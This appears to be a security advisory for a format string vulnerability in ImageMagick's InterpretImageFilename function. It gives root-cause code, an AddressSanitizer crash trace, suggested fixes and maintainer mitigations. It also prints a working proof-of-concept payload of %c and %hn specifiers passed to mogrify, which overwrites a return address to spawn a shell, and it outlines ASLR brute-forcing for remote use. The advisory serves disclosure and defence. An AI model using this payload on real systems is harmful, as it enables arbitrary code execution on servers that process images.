ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution

Summary

A format string bug vulnerability exists in InterpretImageFilename function where user input is directly passed to FormatLocaleString without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. <br>

Details

root cause

MagickExport size_t InterpretImageFilename(const ImageInfo *image_info,
  Image *image,const char *format,int value,char *filename,
  ExceptionInfo *exception)
{

...

  while ((cursor=strchr(cursor,'%')) != (const char *) NULL)
  {
    const char
      *q = cursor;

    ssize_t
      offset = (ssize_t) (cursor-format);

    cursor++;  /* move past '%' */
    if (*cursor == '%')
      {
        /*
          Escaped %%.
        */
        cursor++;
        continue;
      }
    /*
      Skip padding digits like %03d.
    */
    if (isdigit((int) ((unsigned char) *cursor)) != 0)
      (void) strtol(cursor,(char **) &cursor,10);
    switch (*cursor)
    {
      case 'd':
      case 'o':
      case 'x':
      {
        ssize_t
          count;

        count=FormatLocaleString(pattern,sizeof(pattern),q,value);
        if ((count <= 0) || (count >= MagickPathExtent) ||
            ((offset+count) >= MagickPathExtent))
          return(0);
        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-
          offset));
        cursor++;
        break;
      }

When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. <br>

MagickExport ssize_t FormatLocaleString(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,...)
{
  ssize_t
    n;

  va_list
    operands;

  va_start(operands,format);
  n=FormatLocaleStringList(string,length,format,operands);
  va_end(operands);
  return(n);
}

MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,va_list operands)
{
...
n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);

Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations. <br>

PoC

1. Heap overflow read tested on development container

root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n
=================================================================
==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408
READ of size 8 at 0x603000000001 thread T0
    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c
    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)

0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)
allocated by thread T0 here:
    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)

SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==55653==ABORTING

Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition. <br>

2. Shell execution tested on a local environment

https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94

 ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa

The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges. <br>

Exploitation Process:

1. Format string payload corrupts stack pointers through positional parameters
2. Multiple 2-byte writes (%hn) progressively overwrite the return address
3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85)
4. One-gadget executes /bin/sh with inherited process permissions <br>

Remote Exploitation Feasibility: While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access. <br>

Important: The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.

Note: This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system. <br>

Impact

This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.

The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks. <br>

Suggested Fix

Two potential mitigation approaches:

1. Input Validation: Add format string validation in InterpretImageFilename to reject filenames containing format specifiers (%n, %s, %x, etc.) before passing to FormatLocaleString
2. Safe Parsing: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to FormatLocaleString <br>

Credits

Team Daemon Fuzz Hunters

Bug Hunting Master Program, HSpace/Findthegap <br>

Woojin Park @jin-156 1203kids@gmail.com

Hojun Lee @leehohojune leehojune@korea.ac.kr

Youngin Won @amethyst0225 youngin04@korea.ac.kr

Siyeon Han @hanbunny kokosyeon@gmail.com

Additional notes from the ImageMagick team:

On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:

To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:

• In wrappers: filename:literal
• From the command line: -define filename:literal=true